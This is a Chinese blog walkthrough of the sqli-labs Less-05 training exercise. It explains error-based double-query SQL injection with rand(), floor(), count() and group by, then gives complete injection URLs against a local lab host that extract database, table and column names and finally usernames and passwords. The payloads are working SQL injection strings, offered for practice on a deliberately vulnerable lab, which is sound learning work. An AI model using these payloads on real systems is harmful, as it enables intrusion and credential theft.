sqli-libs入门攻略(5)

 

Less-05 单引号    双注入

 

双注入查询需要理解四个函数/语句

Rand()    随机函数

Floor()    取整函数

Count()   汇总,聚合函数

Group by clause    分组语句

 

简单地说也就是在一个聚合函数里,如果count函数后面有分组语句,就会把查询的一部分以报错的形式显示出来。

爆库名 

http://192.168.0.155/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 4,1),"给我隔开",floor(rand()*2)) as a from information_schema.tables group by a)x) --+

爆表名

http://192.168.0.155/Less-5/?id=1' and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),"给我隔开",floor(rand()*2)) as a from information_schema.tables group by a)x) --+

爆列,

这里恰好limit 1,1就是username列

http://192.168.0.155/Less-5/?id=1' and (select 1 from(select count(*),concat((select column_name from information_schema.columns where table_name='users' limit%201,1),"给我隔开",floor(rand(-1)*2)) as a from information_schema.tables group by a)x) --+

用户名列出来了,下一个应该就是密码列了

http://192.168.0.155/Less-5/?id=1' and (select 1 from(select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 2,1),"给我隔开",floor(rand(-1)*2)) as a from information_schema.tables group by a)x) --+

 

完美,接下来就直接出用户名及其密码

http://192.168.0.155/Less-5/?id=1' and (select 1 from(select count(*),concat((select concat('我是账号',username,char(32,58,32),'我是密码',password) from security.users limit 1,1),"给我隔开",floor(rand(-1)*2)) as a from information_schema.tables group by a)x) --+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值